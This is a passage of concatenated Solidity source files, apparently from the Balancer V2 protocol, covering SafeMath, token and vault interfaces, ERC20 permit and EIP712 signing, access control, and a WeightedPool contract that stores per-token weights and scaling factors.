"../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, Errors.SUB_OVERFLOW); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) { _require(b <= a, errorCode); uint256 c = a - b; return c; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; /** * @dev Interface for the SignatureValidator helper, used to support meta-transactions. */ interface ISignaturesValidator { /** * @dev Returns the EIP712 domain separator. */ function getDomainSeparator() external view returns (bytes32); /** * @dev Returns the next nonce used by an address to sign messages. */ function getNextNonce(address user) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "../openzeppelin/IERC20.sol"; /** * @dev Interface for WETH9. * See https://github.com/gnosis/canonical-weth/blob/0dd1ea3e295eef916d0c6223ec63141137d22d67/contracts/WETH9.sol */ interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; /** * @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero * address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like * types. * * This concept is unrelated to a Pool's Asset Managers. */ interface IAsset { // solhint-disable-previous-line no-empty-blocks } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; interface IAuthorizer { /** * @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`. */ function canPerform( bytes32 actionId, address account, address where ) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; // Inspired by Aave Protocol's IFlashLoanReceiver. import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; interface IFlashLoanRecipient { /** * @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient. * * At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this * call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the * Vault, or else the entire flash loan will revert. * * `userData` is the same value passed in the `IVault.flashLoan` call. */ function receiveFlashLoan( IERC20[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "./IVault.sol"; import "./IAuthorizer.sol"; interface IProtocolFeesCollector { event SwapFeePercentageChanged(uint256 newSwapFeePercentage); event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage); function withdrawCollectedFees( IERC20[] calldata tokens, uint256[] calldata amounts, address recipient ) external; function setSwapFeePercentage(uint256 newSwapFeePercentage) external; function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external; function getSwapFeePercentage() external view returns (uint256); function getFlashLoanFeePercentage() external view returns (uint256); function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts); function getAuthorizer() external view returns (IAuthorizer); function vault() external view returns (IVault); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "./IVault.sol"; interface IPoolSwapStructs { // This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and // IMinimalSwapInfoPool. // // This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or // 'given out') which indicates whether or not the amount sent by the pool is known. // // The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take // in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`. // // All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in // some Pools. // // `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than // one Pool. // // The meaning of `lastChangeBlock` depends on the Pool specialization: // - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total // balance. // - General: the last block in which *any* of the Pool's registered tokens changed its total balance. // // `from` is the origin address for the funds the Pool receives, and `to` is the destination address // where the Pool sends the outgoing tokens. // // `userData` is extra data provided by the caller - typically a signature from a trusted party. struct SwapRequest { IVault.SwapKind kind; IERC20 tokenIn; IERC20 tokenOut; uint256 amount; // Misc data bytes32 poolId; uint256 lastChangeBlock; address from; address to; bytes userData; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./ERC20.sol"; import "./IERC20Permit.sol"; import "./EIP712.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { mapping(address => uint256) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { // solhint-disable-next-line not-rely-on-time _require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT); uint256 nonce = _nonces[owner]; bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, nonce, deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ecrecover(hash, v, r, s); _require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE); _nonces[owner] = nonce + 1; _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view override returns (uint256) { return _nonces[owner]; } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _HASHED_NAME = keccak256(bytes(name)); _HASHED_VERSION = keccak256(bytes(version)); _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view virtual returns (bytes32) { return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { // Silence state mutability warning without generating bytecode. // See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and // https://github.com/ethereum/solidity/issues/2691 this; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./IAuthentication.sol"; /** * @dev Building block for performing access control on external functions. * * This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied * to external functions to only make them callable by authorized accounts. * * Derived contracts must implement the `_canPerform` function, which holds the actual access control logic. */ abstract contract Authentication is IAuthentication { bytes32 private immutable _actionIdDisambiguator; /** * @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in * multi contract systems. * * There are two main uses for it: * - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers * unique. The contract's own address is a good option. * - if the contract belongs to a family that shares action identifiers for the same functions, an identifier * shared by the entire family (and no other contract) should be used instead. */ constructor(bytes32 actionIdDisambiguator) { _actionIdDisambiguator = actionIdDisambiguator; } /** * @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions. */ modifier authenticate() { _authenticateCaller(); _; } /** * @dev Reverts unless the caller is allowed to call the entry point function. */ function _authenticateCaller() internal view { bytes32 actionId = getActionId(msg.sig); _require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED); } function getActionId(bytes4 selector) public view override returns (bytes32) { // Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the // function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of // multiple contracts. return keccak256(abi.encodePacked(_actionIdDisambiguator, selector)); } function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; interface IAuthentication { /** * @dev Returns the action identifier associated with the external function described by `selector`. */ function getActionId(bytes4 selector) external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./BaseWeightedPool.sol"; /** * @dev Basic Weighted Pool with immutable weights. */ contract WeightedPool is BaseWeightedPool { using FixedPoint for uint256; uint256 private constant _MAX_TOKENS = 20; uint256 private immutable _totalTokens; IERC20 internal immutable _token0; IERC20 internal immutable _token1; IERC20 internal immutable _token2; IERC20 internal immutable _token3; IERC20 internal immutable _token4; IERC20 internal immutable _token5; IERC20 internal immutable _token6; IERC20 internal immutable _token7; IERC20 internal immutable _token8; IERC20 internal immutable _token9; IERC20 internal immutable _token10; IERC20 internal immutable _token11; IERC20 internal immutable _token12; IERC20 internal immutable _token13; IERC20 internal immutable _token14; IERC20 internal immutable _token15; IERC20 internal immutable _token16; IERC20 internal immutable _token17; IERC20 internal immutable _token18; IERC20 internal immutable _token19; // All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will // not change throughout its lifetime, and store the corresponding scaling factor for each at construction time. // These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported. uint256 internal immutable _scalingFactor0; uint256 internal immutable _scalingFactor1; uint256 internal immutable _scalingFactor2; uint256 internal immutable _scalingFactor3; uint256 internal immutable _scalingFactor4; uint256 internal immutable _scalingFactor5; uint256 internal immutable _scalingFactor6; uint256 internal immutable _scalingFactor7; uint256 internal immutable _scalingFactor8; uint256 internal immutable _scalingFactor9; uint256 internal immutable _scalingFactor10; uint256 internal immutable _scalingFactor11; uint256 internal immutable _scalingFactor12; uint256 internal immutable _scalingFactor13; uint256 internal immutable _scalingFactor14; uint256 internal immutable _scalingFactor15; uint256 internal immutable _scalingFactor16; uint256 internal immutable _scalingFactor17; uint256 internal immutable _scalingFactor18; uint256 internal immutable _scalingFactor19; // The protocol fees will always be charged using the token associated with the max weight in the pool. // Since these Pools will register tokens only once, we can assume this index will be constant. uint256 internal immutable _maxWeightTokenIndex; uint256 internal immutable _normalizedWeight0; uint256 internal immutable _normalizedWeight1; uint256 internal immutable _normalizedWeight2; uint256 internal immutable _normalizedWeight3; uint256 internal immutable _normalizedWeight4; uint256 internal immutable _normalizedWeight5; uint256 internal immutable _normalizedWeight6; uint256 internal immutable _normalizedWeight7; uint256 internal immutable _normalizedWeight8; uint256 internal immutable _normalizedWeight9; uint256 internal immutable _normalizedWeight10; uint256 internal immutable _normalizedWeight11; uint256 internal immutable _normalizedWeight12; uint256 internal immutable _normalizedWeight13; uint256 internal immutable _normalizedWeight14; uint256 internal immutable _normalizedWeight15; uint256 internal immutable _normalizedWeight16; uint256 internal immutable _normalizedWeight17; uint256 internal immutable _normalizedWeight18; uint256 internal immutable _normalizedWeight19; constructor( IVault vault, string memory name, string memory symbol, IERC20[] memory tokens, uint256[] memory normalizedWeights, address[] memory assetManagers, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) BaseWeightedPool( vault, name, symbol, tokens, assetManagers, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { uint256 numTokens = tokens.length; InputHelpers.ensureInputLengthMatch(numTokens, normalizedWeights.length); _totalTokens = numTokens; // Ensure each normalized weight is above them minimum and find the token index of the maximum weight uint256 normalizedSum = 0; uint256 maxWeightTokenIndex = 0; uint256 maxNormalizedWeight = 0; for (uint8 i = 0; i < numTokens; i++) { uint256 normalizedWeight = normalizedWeights[i]; _require(normalizedWeight >= _MIN_WEIGHT, Errors.MIN_WEIGHT); normalizedSum = normalizedSum.add(normalizedWeight); if (normalizedWeight > maxNormalizedWeight) { maxWeightTokenIndex = i; maxNormalizedWeight = normalizedWeight; } } // Ensure that the normalized weights sum to ONE _require(normalizedSum == FixedPoint.ONE, Errors.NORMALIZED_WEIGHT_INVARIANT); _maxWeightTokenIndex = maxWeightTokenIndex; _normalizedWeight0 = normalizedWeights[0]; _normalizedWeight1 = normalizedWeights[1]; _normalizedWeight2 = numTokens > 2 ? normalizedWeights[2] : 0; _normalizedWeight3 = numTokens > 3 ? normalizedWeights[3] : 0; _normalizedWeight4 = numTokens > 4 ? normalizedWeights[4] : 0; _normalizedWeight5 = numTokens > 5 ? normalizedWeights[5] : 0; _normalizedWeight6 = numTokens > 6 ? normalizedWeights[6] : 0; _normalizedWeight7 = numTokens > 7 ? normalizedWeights[7] : 0; _normalizedWeight8 = numTokens > 8 ? normalizedWeights[8] : 0; _normalizedWeight9 = numTokens > 9 ? normalizedWeights[9] : 0; _normalizedWeight10 = numTokens > 10 ? normalizedWeights[10] : 0; _normalizedWeight11 = numTokens > 11 ? normalizedWeights[11] : 0; _normalizedWeight12 = numTokens > 12 ? normalizedWeights[12] : 0; _normalizedWeight13 = numTokens > 13 ? normalizedWeights[13] : 0; _normalizedWeight14 = numTokens > 14 ? normalizedWeights[14] : 0; _normalizedWeight15 = numTokens > 15 ? normalizedWeights[15] : 0; _normalizedWeight16 = numTokens > 16 ? normalizedWeights[16] : 0; _normalizedWeight17 = numTokens > 17 ? normalizedWeights[17] : 0; _normalizedWeight18 = numTokens > 18 ? normalizedWeights[18] : 0; _normalizedWeight19 = numTokens > 19 ? normalizedWeights[19] : 0; // Immutable variables cannot be initialized inside an if statement, so we must do conditional assignments _token0 = tokens[0]; _token1 = tokens[1]; _token2 = numTokens > 2 ? tokens[2] : IERC20(0); _token3 = numTokens > 3 ? tokens[3] : IERC20(0); _token4 = numTokens > 4 ? tokens[4] : IERC20(0); _token5 = numTokens > 5 ? tokens[5] : IERC20(0); _token6 = numTokens > 6 ? tokens[6] : IERC20(0); _token7 = numTokens > 7 ? tokens[7] : IERC20(0); _token8 = numTokens > 8 ? tokens[8] : IERC20(0); _token9 = numTokens > 9 ? tokens[9] : IERC20(0); _token10 = numTokens > 10 ? tokens[10] : IERC20(0); _token11 = numTokens > 11 ? tokens[11] : IERC20(0); _token12 = numTokens > 12 ? tokens[12] : IERC20(0); _token13 = numTokens > 13 ? tokens[13] : IERC20(0); _token14 = numTokens > 14 ? tokens[14] : IERC20(0); _token15 = numTokens > 15 ? tokens[15] : IERC20(0); _token16 = numTokens > 16 ? tokens[16] : IERC20(0); _token17 = numTokens > 17 ? tokens[17] : IERC20(0); _token18 = numTokens > 18 ? tokens[18] : IERC20(0); _token19 = numTokens > 19 ? tokens[19] : IERC20(0); _scalingFactor0 = _computeScalingFactor(tokens[0]); _scalingFactor1 = _computeScalingFactor(tokens[1]); _scalingFactor2 = numTokens > 2 ? _computeScalingFactor(tokens[2]) : 0; _scalingFactor3 = numTokens > 3 ? _computeScalingFactor(tokens[3]) : 0; _scalingFactor4 = numTokens > 4 ? _computeScalingFactor(tokens[4]) : 0; _scalingFactor5 = numTokens > 5 ? _computeScalingFactor(tokens[5]) : 0; _scalingFactor6 = numTokens > 6 ? _computeScalingFactor(tokens[6]) : 0; _scalingFactor7 = numTokens > 7 ? _computeScalingFactor(tokens[7]) : 0; _scalingFactor8 = numTokens > 8 ? _computeScalingFactor(tokens[8]) : 0; _scalingFactor9 = numTokens > 9 ? _computeScalingFactor(tokens[9]) : 0; _scalingFactor10 = numTokens > 10 ? _computeScalingFactor(tokens[10]) : 0; _scalingFactor11 = numTokens > 11 ? _computeScalingFactor(tokens[11]) : 0; _scalingFactor12 = numTokens > 12 ? _computeScalingFactor(tokens[12]) : 0; _scalingFactor13 = numTokens > 13 ? _computeScalingFactor(tokens[13]) : 0; _scalingFactor14 = numTokens > 14 ? _computeScalingFactor(tokens[14]) : 0; _scalingFactor15 = numTokens > 15 ? _computeScalingFactor(tokens[15]) : 0; _scalingFactor16 = numTokens > 16 ? _computeScalingFactor(tokens[16]) : 0; _scalingFactor17 = numTokens > 17 ? _computeScalingFactor(tokens[17]) : 0; _scalingFactor18 = numTokens > 18 ? _computeScalingFactor(tokens[18]) : 0; _scalingFactor19 = numTokens > 19 ? _computeScalingFactor(tokens[19]) : 0; } function _getNormalizedWeight(IERC20 token) internal view virtual override returns (uint256) { // prettier-ignore if (token == _token0) { return _normalizedWeight0; } else if (token == _token1) { return _normalizedWeight1; } else if (token == _token2) { return _normalizedWeight2; } else if (token == _token3) { return _normalizedWeight3; } else if (token == _token4) { return _normalizedWeight4; } else if (token == _token5) { return _normalizedWeight5; } else if (token == _token6) { return _normalizedWeight6; } else if (token == _token7) { return _normalizedWeight7; } else if (token == _token8) { return _normalizedWeight8; } else if (token == _token9) { return _normalizedWeight9; } else if (token == _token10) { return _normalizedWeight10; } else if (token == _token11) { return _normalizedWeight11; } else if (token == _token12) { return _normalizedWeight12; } else if (token == _token13) { return _normalizedWeight13; } else if (token == _token14) { return _normalizedWeight14; } else if (token == _token15) { return _normalizedWeight15; } else if (token == _token16) { return _normalizedWeight16; } else if (token == _token17) { return _normalizedWeight17; } else if (token == _token18) { return _normalizedWeight18; } else if (token == _token19) { return _normalizedWeight19; } else { _revert(Errors.INVALID_TOKEN); } } function _getNormalizedWeights() internal view virtual override returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory normalizedWeights = new uint256[](totalTokens); // prettier-ignore { if (totalTokens > 0) { normalizedWeights[0] = _normalizedWeight0; } else { return normalizedWeights; } if (totalTokens > 1) { normalizedWeights[1] = _normalizedWeight1; } else { return normalizedWeights; } if (totalTokens > 2) { normalizedWeights[2] = _normalizedWeight2; } else { return normalizedWeights; } if (totalTokens > 3) { normalizedWeights[3] = _normalizedWeight3; } else { return normalizedWeights; } if (totalTokens > 4) { normalizedWeights[4] = _normalizedWeight4; } else { return normalizedWeights; } if (totalTokens > 5) { normalizedWeights[5] = _normalizedWeight5; } else { return normalizedWeights; } if (totalTokens > 6) { normalizedWeights[6] = _normalizedWeight6; } else { return normalizedWeights; } if (totalTokens > 7) { normalizedWeights[7] = _normalizedWeight7; } else { return normalizedWeights; } if (totalTokens > 8) { normalizedWeights[8] = _normalizedWeight8; } else { return normalizedWeights; } if (totalTokens > 9) { normalizedWeights[9] = _normalizedWeight9; } else { return normalizedWeights; } if (totalTokens > 10) { normalizedWeights[10] = _normalizedWeight10; } else { return normalizedWeights; } if (totalTokens > 11) { normalizedWeights[11] = _normalizedWeight11; } else { return normalizedWeights; } if (totalTokens > 12) { normalizedWeights[12] = _normalizedWeight12; } else { return normalizedWeights; } if (totalTokens > 13) { normalizedWeights[13] = _normalizedWeight13; } else { return normalizedWeights; } if (totalTokens > 14) { normalizedWeights[14] = _normalizedWeight14; } else { return normalizedWeights; } if (totalTokens > 15) { normalizedWeights[15] = _normalizedWeight15; } else { return normalizedWeights; } if (totalTokens > 16) { normalizedWeights[16] = _normalizedWeight16; } else { return normalizedWeights; } if (totalTokens > 17) { normalizedWeights[17] = _normalizedWeight17; } else { return normalizedWeights; } if (totalTokens > 18) { normalizedWeights[18] = _normalizedWeight18; } else { return normalizedWeights; } if (totalTokens > 19) { normalizedWeights[19] = _normalizedWeight19; } else { return normalizedWeights; } } return normalizedWeights; } function _getNormalizedWeightsAndMaxWeightIndex() internal view virtual override returns (uint256[] memory, uint256) { return (_getNormalizedWeights(), _maxWeightTokenIndex); } function _getMaxTokens() internal pure virtual override returns (uint256) { return _MAX_TOKENS; } function _getTotalTokens() internal view virtual override returns (uint256) { return _totalTokens; } /** * @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the * Pool. */ function _scalingFactor(IERC20 token) internal view virtual override returns (uint256) { // prettier-ignore if (token == _token0) { return _scalingFactor0; } else if (token == _token1) { return _scalingFactor1; } else if (token == _token2) { return _scalingFactor2; } else if (token == _token3) { return _scalingFactor3; } else if (token == _token4) { return _scalingFactor4; } else if (token == _token5) { return _scalingFactor5; } else if (token == _token6) { return _scalingFactor6; } else if (token == _token7) { return _scalingFactor7; } else if (token == _token8) { return _scalingFactor8; } else if (token == _token9) { return _scalingFactor9; } else if (token == _token10) { return _scalingFactor10; } else if (token == _token11) { return _scalingFactor11; } else if (token == _token12) { return _scalingFactor12; } else if (token == _token13) { return _scalingFactor13; } else if (token == _token14) { return _scalingFactor14; } else if (token == _token15) { return _scalingFactor15; } else if (token == _token16) { return _scalingFactor16; } else if (token == _token17) { return _scalingFactor17; } else if (token == _token18) { return _scalingFactor18; } else if (token == _token19) { return _scalingFactor19; } else { _revert(Errors.INVALID_TOKEN); } } function _scalingFactors() internal view virtual override returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory scalingFactors = new uint256[](totalTokens); // prettier-ignore { if (totalTokens > 0) { scalingFactors[0] = _scalingFactor0; } else { return scalingFactors; } if (totalTokens > 1) { scalingFactors[1] = _scalingFactor1; } else { return scalingFactors; } if (totalTokens > 2) { scalingFactors[2] = _scalingFactor2; } else { return scalingFactors; } if (totalTokens > 3) { scalingFactors[3] = _scalingFactor3; } else { return scalingFactors; } if (totalTokens > 4) { scalingFactors[4] = _scalingFactor4; } else { return scalingFactors; } if (totalTokens > 5) { scalingFactors[5] = _scalingFactor5; } else { return scalingFactors; } if (totalTokens > 6) { scalingFactors[6] = _scalingFactor6; } else { return 